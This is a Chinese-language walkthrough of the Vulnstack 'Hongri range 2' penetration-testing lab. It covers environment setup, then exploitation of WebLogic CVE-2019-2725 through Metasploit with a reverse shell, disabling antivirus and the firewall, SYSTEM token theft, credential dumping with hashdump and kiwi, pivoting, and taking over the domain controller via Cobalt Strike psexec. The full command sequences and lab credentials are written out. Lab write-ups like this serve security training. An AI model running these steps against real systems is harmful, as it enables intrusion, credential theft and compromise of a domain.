0%

红日靶场2

WebLogic wls9-async 组件命令执行漏洞

红日靶场2

环境搭建

环境下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

网络拓扑图

配置网段

打开vm找到左上角编辑—>虚拟网络编辑器添加一段虚拟网络VMnet7,设置为仅主机s

配置DC域控

点击.vmx文件加载虚拟机配置,然后点击升级此虚拟机将兼容性改成16.2

点击更改此虚拟机即可

剩下两台机子都需要进行上述操作就不再赘述

修改网络适配器为VMnet7网卡

配置PC

PC机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网

由于作者设置的NET网段是192.168.111.0/24,而我们的NET网卡是192.168.132.0/24,所以需要修改一下

我们使用密码1qaz@WSX登录PC机,打开控制面板 => 网络和 Internet => 网络和共享中心。点击左侧更改网络适配器,选择本地连接使用administrator:1qaz@WSX查看属性,修改下ip地址以及默认网关即可

查看下ipconfig,修改成功

配置WEB

需要两块网卡,相当于网关服务器

和PC机一样,我们也需要登录修改下网络适配器,不过这里需要将快照先回退到V1.3的时候

使用1qaz@WSX登录后和配置PC机一样的步骤,修改ip地址和默认网关

查看ipconfig,修改成功

然后开启下web服务,访问C:\Oracle\Middleware\user_projects\domains\base_domain\bin

遇到无权限访问就使用administrator:1qaz@WSX登录,然后以管理员权限执行startWebLogic文件

启动服务成功

信息搜集

使用fscan扫描下端口

1
./fscan -h 192.168.132.80 -no

扫描结果如下

外网打点

可以发现7001端口扫出来有weblogic中间件的CVE-2019-2725,这里试了半天

注:由于是java反序列化的漏洞,所以网上不同exp对应的jdk版本可能不同,在使用时需要注意下

我们打开metasploit搜索一下cve-2019-2725

依次执行以下命令

1
2
3
4
5
6
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set payload windows/meterpreter/reverse_tcp
set RHOSTS 192.168.132.80
set LHOST 192.168.132.133
set target 1
run

成功拿到meterpreter会话

执行shell命令,输入chcp 65001解决中文乱码问题

养成好习惯,上线msf第一件事在meterpreter会话中关闭杀毒软件

1
run killav

还有关闭防火墙

1
netsh advfirewall set allprofiles state off

权限提升

尝试窃取SYSTEM权限令牌,在meterpreter会话依次执行以下命令

1
2
3
load incognito                                   #加载incognito模块
list_tokens -u #列出主机上所有令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取NT AUTHORITY\SYSTEM账户的令牌

内网渗透

本机信息搜集

查看网络适配器

1
ipconfig

可以知道还存在10.10.10.0/24内网网段

查看本地用户信息

1
net user

存在三个用户

查看本地管理员组

1
net localgroup administrators

域内信息搜集

查看是否存在域环境

1
net config Workstation   

坑点:在没有提权前是可以执行找到名为DE1AY的域环境,但是后面提升到SYSTEM权限执行不了此命令

查看域用户信息

1
net user /domain

查看域用户组信息

1
net group "Domain Admins" /Domain

查看域管理员组,得到管理员用户为Administrator

查看主域控制器

1
net time /domain

定位主域控制器

拿到主域控制器名称后,执行以下命令定位目标主机在内网的IP为10.10.10.10

1
ping DC.de1ay.com

探测内网存活主机

由于我们拿到shell了,利用后渗透阶段的基于arp协议探测

1
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

发现存活主机10.10.10.1010.10.10.201

用户凭据收集

抓取Hash

1
run hashdump

抓取明文密码

我们先将进程迁移到64位程序中,比如PID为516的lsass.exe进程

使用msf中的kiwi模块

1
2
load kiwi         #加载kiwi模块
creds_all #抓取所有明文密码

抓取到明文密码

内网横向移动

我们前面知道还存在10.10.10.0/24网段,借助MSF 的 autoroute 模块获取当前机器的所有网段信息

1
run post/multi/manage/autoroute

尝试探测10.10.10.201的445端口是否开放

1
2
3
4
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.201
set THREADS 10
run

开启445端口的话,尝试使用永恒之蓝漏洞,利用失败

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 10.10.10.201
run

尝试直接psexec横向移动,利用失败

1
2
3
4
5
6
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.201
set SMBUser Administrator
set SMBPass 1qaz@WSX
set SMBDomain DE1AY
run

只好联动metasploit上线cs试试

启动服务端

1
sudo ./teamserver 192.168.132.133 rev1ve

然后启动客户端

1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

创建监听器,监听本地1028端口

在metasploit把shell弹到cs上

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.132.133
set lport 1028
set session 1
run

成功上线cs,然后选择刚刚的监听器进行提权

我们先进行端口扫描不然视图没有10.10.10.201的IP地址,然后抓取Hash和明文密码

接着创建SMB监听器,在左上角点击显示目标。选择域控主机点击jump => psexec

填写信息,选择我们刚刚创建的SMB监听器以及SYSTEM权限的shell

成功上线域控主机


参考文章

环境搭建: